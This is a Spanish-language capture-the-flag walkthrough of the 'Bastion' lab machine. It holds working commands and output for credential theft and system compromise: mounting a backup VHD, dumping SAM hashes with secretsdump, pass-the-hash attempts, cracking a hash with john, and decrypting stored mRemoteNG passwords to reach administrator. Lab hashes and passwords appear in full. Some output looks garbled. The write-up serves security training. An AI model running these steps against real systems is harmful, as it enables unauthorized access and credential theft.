



```
mkdir /mnt/smb
sudo mount -t cifs //10.10.10.134/Backups /mnt/smb
```

Ahora con "tree -h" podemos ver mejor los recursos compartidos:

```
$ tree -h smb
[4.0K] smb
├── [116] note.txt
├── [0] SDT65CB.tmp
├── [0] WindowsImageBackup
├── [0] L4mpje-PC
│   ├── [0] Backup 2019-02-22 124351
│   │   ├── [36M] 9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd
│   │   ├── [5.0G] 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd
│   │   ├── [1.2K] BackupSpecs.xml
│   │   ├── [1.1K] cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFiles3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml
│   │   ├── [8.7K] cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml
│   │   ├── [6.4K] cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml
│   │   ├── [2.8K] cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml
│   │   ├── [1.5K] cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml
│   │   ├── [1.4K] cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml
│   │   ├── [3.8K] cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafb4a2-367d-4d15-a586-71dbb18f8485.xml
│   │   ├── [3.9K] cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml
│   │   ├── [6.9K] cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d6284cdc0b2.xml
│   │   └── [2.3M] cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml
│   ├── [0] Catalog
│   │   ├── [5.6K] BackupGlobalCatalog
│   │   └── [7.3K] GlobalCatalog
│   ├── [16] MediaId
│   ├── [0] SPPMetadataCache
│   └── [56K] {cd113385-65ff-4ea2-8ced-5630f6feca8f}
```

Vemos un archivo llamado "vhd" que ocupa 5G. Este archivo es un disco duro virtual, podemos montarlo en /mnt para ver su contenido.

He intentado seguir el manual de guestmount, pero no consigo realizar la montura:

<https://xo.tc/how-to-mount-a-vhd-file-on-linux.html>

```
$ sudo guestmount --add 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --ro /mnt/vhd/ -m /dev/sda1
Warning: program compiled against libxml 212 using older 209
```

```
$ ls -la
ls: cannot access 'vhd': Permission denied
total 12
drwxr-xr-x  4 root root 4096 Oct  9 05:32 .
drwxr-xr-x 18 root root 4096 Oct  3 19:40 ..
drwxr-xr-x  2 root root 4096 Apr 16  2019 smb
d???????? ? ? ? ? ? ? ? ? vhd
```

Por eso vamos a utilizar directamente la herramienta "qemu-nbd":

- Instalar "qemu-nbd"  
`apt install qemu-utils`
- Cargar el modulo "nbd"  
`sudo modprobe nbd`
- Con el modulo cargado deberiamos ver los siguientes archivos:

```
nbd0
nbd1
nbd10
nbd11
nbd12
nbd13
nbd14
nbd15
```

Vamos a cargar el "vhd" en /dev/nbd0:

```
sudo qemu-nbd -r -c /dev/nbd0 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd
```

Se nos crear un archivo llamado nbd0p1:

```
$ mount /dev/nbd0
Completing device or mount
nbd0# nbd0p1#
```

Este archivo es el que vamos a utilizar crear una montura en /mnt/vhd;

```
$ sudo mount /dev/nbd0p1 /mnt/vhd
Error opening '/dev/nbd0p1' read-write
Could not mount read-write, trying read-only
```

Aunque nos de un error, es una especie de aviso diciendo que solo tenemos permisos de lectura. Podemos ver el contenido:

```
(kali@kali) [/mnt/vhd/Windows/System32/config]
$ ls /mnt/vhd
'$Recycle.Bin'  'config.sys'  'pagefile.sys'  'ProgramData'  'Recovery'  'Users'
'autoexec.bat'  'Documents and Settings'  'PerfLogs'  'Program Files'  'System Volume Information'  'Windows'
```

No encontramos ninguna flag, pero como es un backup de la maquina y tenemos acceso a todos los archivos podemos utilizar la SAM y el SYSTEM ya que con impacket-secretsdump podemos indicarle un SAM y un SYSTEM y extraer todos los hashes de los usuarios. Esto se encuentra en la ruta C:\Windows\System32\config:

```
(kali@kali) [/mnt/vhd/Windows/System32/config]
$ ls -la
total 74740
drwxrwxrwx 1 root root 12288 Feb 22 2019 .
drwxrwxrwx 1 root root 655360 Feb 22 2019 ..
-rwxrwxrwx 2 root root 28672 Feb 22 2019 BCD-Template
-rwxrwxrwx 2 root root 25600 Feb 22 2019 BCD-Template.LOG
-rwxrwxrwx 2 root root 30932992 Feb 22 2019 COMPONENTS
-rwxrwxrwx 2 root root 1048576 Feb 22 2019 COMPONENTS{6cced2ec-6e01-11de-8be
-rwxrwxrwx 2 root root 1048576 Feb 22 2019 COMPONENTS{6cced2ec-6e01-11de-8be
-rwxrwxrwx 2 root root 1048576 Feb 22 2019 COMPONENTS{6cced2ec-6e01-11de-8be
-rwxrwxrwx 2 root root 65536 Feb 22 2019 COMPONENTS{6cced2ec-6e01-11de-8be
-rwxrwxrwx 2 root root 65536 Feb 22 2019 COMPONENTS{6cced2ed-6e01-11de-8be
-rwxrwxrwx 2 root root 524288 Feb 22 2019 COMPONENTS{6cced2ed-6e01-11de-8be
-rwxrwxrwx 2 root root 524288 Jul 14 2009 COMPONENTS{6cced2ed-6e01-11de-8be
-rwxrwxrwx 2 root root 1024 Apr 11 2011 COMPONENTS.LOG
-rwxrwxrwx 2 root root 262144 Feb 22 2019 COMPONENTS.LOG1
-rwxrwxrwx 2 root root 0 Jul 13 2009 COMPONENTS.LOG2
-rwxrwxrwx 1 root root 262144 Feb 22 2019 DEFAULT
-rwxrwxrwx 1 root root 1024 Apr 11 2011 DEFAULT.LOG
-rwxrwxrwx 2 root root 91136 Feb 22 2019 DEFAULT.LOG1
-rwxrwxrwx 2 root root 0 Jul 13 2009 DEFAULT.LOG2
drwxrwxrwx 1 root root 0 Jul 13 2009 Journal
drwxrwxrwx 1 root root 0 Feb 22 2019 RegBack
-rwxrwxrwx 1 root root 262144 Feb 22 2019 SAM
-rwxrwxrwx 1 root root 1024 Apr 11 2011 SAM.LOG
-rwxrwxrwx 2 root root 21504 Feb 22 2019 SAM.LOG1
-rwxrwxrwx 2 root root 0 Jul 13 2009 SAM.LOG2
-rwxrwxrwx 1 root root 262144 Feb 22 2019 SECURITY
-rwxrwxrwx 1 root root 1024 Apr 11 2011 SECURITY.LOG
-rwxrwxrwx 2 root root 21504 Feb 22 2019 SECURITY.LOG1
-rwxrwxrwx 2 root root 0 Jul 13 2009 SECURITY.LOG2
-rwxrwxrwx 1 root root 24117248 Feb 22 2019 SOFTWARE
-rwxrwxrwx 1 root root 1024 Apr 11 2011 SOFTWARE.LOG
-rwxrwxrwx 2 root root 262144 Feb 22 2019 SOFTWARE.LOG1
-rwxrwxrwx 2 root root 0 Jul 13 2009 SOFTWARE.LOG2
-rwxrwxrwx 1 root root 9699328 Feb 22 2019 SYSTEM
```

El archivo SYSTEM contiene claves de cifrado que son utilizadas para proteger los hashes de contraseñas que se encuentran en el archivo SAM. Normalmente hay que realizar una copia del registro ya que no se puede extraer cuando esta en uso:

```
reg save HKLM\system C:\temp\system.backup
reg save HKLM\sam C:\temp\sam.backup
```

En este caso como es un backup no esta en uso osea que podemos utilizar la herramienta "impacket-secretsdump" directamente:

```
(kali@kali) [/mnt/vhd/Windows/System32/config]
$ impacket-secretsdump -sam SAM -system SYSTEM
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

usage: secretsdump.py [-h] [-ts] [-debug] [-system SYSTEM] [-bootkey BOOTKEY]
                    [-outputfile OUTPUTFILE] [-use-vss] [-rodcNo RODCNO]
                    [-remoteSS-remote-volume REMOTE_SS_REMOTE_VOLUME] [-just-dc-ntlm]
                    [-skip-user SKIP_USER] [-pwd-last-saved] [-dc-ip ip address]
                    [-target-ip ip address] target
secretsdump.py: error: the following arguments are required: target
```

Nos da un error porque hay que especificar el tarjet, como lo estamos haciendo en local añadimos "LOCAL"

```
(kali@kali) [/mnt/vhd/Windows/System32/config]
$ impacket-secretsdump -sam SAM -system SYSTEM LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
[*] Cleaning up ...
```

Ahi tenemos los hashes de los usuarios. Como disponemos el hash del usuario administrador, no nos hace falta ni crackear el hash, podemos realizar un ataque "Pass the Hass" con "impacket psexec"



```
(kali@kali)-[/mnt/vhd/Windows/System32/config]
$ crackmapexec smb 10.10.10.136 -u administrator -H "31d6cfe0d16ae931b73c59d7e0c089c0" 2>/dev/null
[+] 10.10.10.136:445: administrator:31d6cfe0d16ae931b73c59d7e0c089c0
[+] hashes. One is ... What is the other?

(kali@kali)-[/mnt/vhd/Windows/System32/config]
$ impacket-psexec WORKWROUP/Administrator@10.10.10.134 -hashes "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0"
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[-] SMB SessionError: code: 0xc000006d - STATUS_LOGON_FAILURE - The attempted logon is invalid. This is either due to a bad username

(kali@kali)-[/mnt/vhd/Windows/System32/config]
$
```

Vemos que el hash del administrador no funciona para realizar la conexion, vamos a intentarlo con el usuario L4mpje:

```
(kali@kali)-[/mnt/vhd/Windows/System32/config]
$ crackmapexec smb 10.10.10.134 -u L4mpje -H "26112010952d963c8dc4217daec986d9" 2>/dev/null
SMB 10.10.10.134 445 BASTION [*] Windows 10 / Server 2016 Standard 14393 x64 (name:BASTION) (domain:BASTION)
SMB 10.10.10.134 445 BASTION [+] Bastion\L4mpje:26112010952d963c8dc4217daec986d9
```

El hash para el usuario L3mpje es valido, como no podemos utilizar "psexec" para conectarnos porque no pertenece al grupo de administradores, vamos a ver si el usuario esta dentro del grupo "remote management users" para conectarnos con "evil-winrm" utilizando el hash

```
(kali@kali)-[/mnt/vhd/Windows/System32/config]
$ crackmapexec winrm 10.10.10.134 -u L4mpje -H "26112010952d963c8dc4217daec986d9" 2>/dev/null
SMB 10.10.10.134 5985 BASTION [*] Windows 10 / Server 2016 Build 14393 (name:BASTION) (domain:Bastion)
HTTP 10.10.10.134 5985 BASTION [*] http://10.10.10.134:5985/wsman
WINRM 10.10.10.134 5985 BASTION [-] Bastion\L4mpje:26112010952d963c8dc4217daec986d9
```

No esta dentro del grupo "remote management users" por lo que no podemos acceder con evil-winrm. Lo que nos queda por hacer es crackear el hash por fuerza bruta con john:

```
(kali@kali)-[/mnt/vhd/Windows/System32/config]
$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=NT
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
bureauL4mpje (L4mpje)
1g 0:00:00:00 DONE (2024-10-09 07:04) 1.724g/s 16199Kp/s 16199Kc/s 16199KC/s burg772v..burdy1
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.
```

Como tiene el puerto ssh abierto y disponemos de las credenciales vamos a poder conectarnos a la maquina victima:

```
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

l4mpje@BASTION C:\Users\L4mpje>
```

## ESCADA DE PRIVILEGIOS

En el directorio "program files (x86)" encontramos que hay un programa llamado "mremoteng":

```
Directory of C:\PROGRA~2

22-02-2019 15:01 <DIR> .
22-02-2019 15:01 <DIR> ..
16-07-2016 15:23 <DIR> Common Files
23-02-2019 10:38 <DIR> Internet Explorer
16-07-2016 15:23 <DIR> Microsoft.NET
22-02-2019 15:01 <DIR> mRemoteNG
23-02-2019 11:22 <DIR> Windows Defender
23-02-2019 10:38 <DIR> Windows Mail
23-02-2019 11:22 <DIR> Windows Media Player
16-07-2016 15:23 <DIR> Windows Multimedia Platform
16-07-2016 15:23 <DIR> Windows NT
23-02-2019 11:22 <DIR> Windows Photo Viewer
16-07-2016 15:23 <DIR> Windows Portable Devices
16-07-2016 15:23 <DIR> WindowsPowerShell
0 File(s) 0 bytes
14 Dir(s) 4.797.808.640 bytes free
```

Es un programa que se utiliza para acceder de forma remota a los distintos dispositivos que se tienen guardados. Se almacenan con una usuario, contraseña y la ip a la que se quiere conectar. El problema es que estos datos se almacenan en el directorio del usuario de que crea las conexiones, dentro de "APP-Data":

```
l4mpje@BASTION C:\Users\L4mpje>dir
Volume in drive C has no label.
Volume Serial Number is 1B7D-E692

Directory of C:\Users\L4mpje

22-02-2019  14:50    <DIR>        .
22-02-2019  14:50    <DIR>        ..
22-02-2019  16:26    <DIR>        Contacts
22-02-2019  16:27    <DIR>        Desktop
22-02-2019  16:26    <DIR>        Documents
22-02-2019  16:26    <DIR>        Downloads
22-02-2019  16:26    <DIR>        Favorites
22-02-2019  16:26    <DIR>        Links
22-02-2019  16:26    <DIR>        Music
22-02-2019  16:26    <DIR>        Pictures
22-02-2019  16:26    <DIR>        Saved Games
22-02-2019  16:26    <DIR>        Searches
22-02-2019  16:26    <DIR>        Videos
                0 File(s)                0 bytes
                13 Dir(s)   4.797.808.640 bytes free
```

En principio no lo encontramos, puede ser que este oculto, podemos ver archivos ocultos con dir /a:

```
l4mpje@BASTION C:\Users\L4mpje>dir /a
Volume in drive C has no label.
Volume Serial Number is 1B7D-E692

Directory of C:\Users\L4mpje

22-02-2019  14:50    <DIR>        .
22-02-2019  14:50    <DIR>        ..
22-02-2019  14:50    <DIR>        AppData
22-02-2019  14:50    <JUNCTION>    Application Data [C:\Users\L4mpje\AppData\Roaming]
22-02-2019  16:26    <DIR>        Contacts
22-02-2019  14:50    <JUNCTION>    Cookies [C:\Users\L4mpje\AppData\Local\Microsoft\Wind
22-02-2019  16:27    <DIR>        Desktop
22-02-2019  16:26    <DIR>        Documents
```

El archivo que contiene las credenciales se encuentra en:

```
C:\Users\L4mpje\AppData\Roaming\mRemoteNG\confCons.xml
```

Aqui podemos ver la contraseña del administrador:

```
l4mpje@BASTION C:\Users\L4mpje\AppData\Roaming\mRemoteNG>type confCons.xml
<?xml version="1.0" encoding="utf-8"?>
<mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="false" EncryptionEngine="AES" BlockCipherMode="GC
M" KdfIterations="1000" FullFileEncryption="false" Protected="ZSvKI7j224Gf/twXpaP5G2QFZMLr1i01f5JKdtIKL6eUg+eWkL5tK0886au0ofFPW0
oop8R8ddXKAx4KK7sAk6AA" ConfVersion="2.6">
  <Node Name="DC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="500e7d58-662a-44d4-aff0-3a4f547a3fee" Userna
me="Administrator" Domain="" Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/z05xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="
  Hostname="127.0.0.1" Protocol="RDP" PuttySession="Default Settings" Port="3389" ConnectToConsole="false" UseCredSsp="true" Rend
```

Como necesitamos crackear el hash y john no consigue romperlo, vamos a utilizar la herramienta "mremote-decrypt":

<https://github.com/kmahyyg/mremoteng-decrypt>

```
$ python3 mremoteng_decrypt.py -h
usage: mremoteng_decrypt.py [-h] [-f FILE | -rf REALFILE | -s STRING] [-p PASSWORD] [-L LEGACY]

Decrypt mRemoteNG passwords.

options:
  -h, --help                show this help message and exit
  -f FILE, --file FILE      Name of file containing mRemoteNG password
  -rf REALFILE, --realFile REALFILE
                           Name of the Real mRemoteNG connections file containing the passwords
  -s STRING, --string STRING
                           base64 string of mRemoteNG password
  -p PASSWORD, --password PASSWORD
                           Custom password
  -L LEGACY, --legacy LEGACY
                           version ≤ 1.74

(kali@kali)-[~/Downloads/mremoteng-decrypt]
$ python3 mremoteng_decrypt.py -s "aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/z05xDqE4HdVmH
Password: thXLHM96BeKL0ER2
```

Tenemos la contraseña, como podemos ver, nos podemos conectar utilizando "psexec" o "ssh":

```
(kali@kali)-[/mnt/vhd/Windows/System32/config]
$ crackmapexec smb 10.10.10.134 -u 'administrator' -p 'thXLHM96BeKL0ER2' 2>/dev/null
SMB 10.10.10.134 445 BASTION [*] Windows Server 2016 Standard 14393 x64 (name:BASTION) (domain:Bastion) (signing:False) (SMBv1:True)
SMB 10.10.10.134 445 BASTION [+] Bastion\administrator:thXLHM96BeKL0ER2 (Pwn3d!)

(kali@kali)-[/mnt/vhd/Windows/System32/config]
$ crackmapexec ssh 10.10.10.134 -u 'administrator' -p 'thXLHM96BeKL0ER2' 2>/dev/null
SSH 10.10.10.134 22 10.10.10.134 [*] SSH-2.0-OpenSSH_for_Windows_7.9
SSH 10.10.10.134 22 10.10.10.134 [+] administrator:thXLHM96BeKL0ER2
```

Y ya somos el usuario administrador:

```
administrator@BASTION C:\Users>whoami
bastion\administrator
```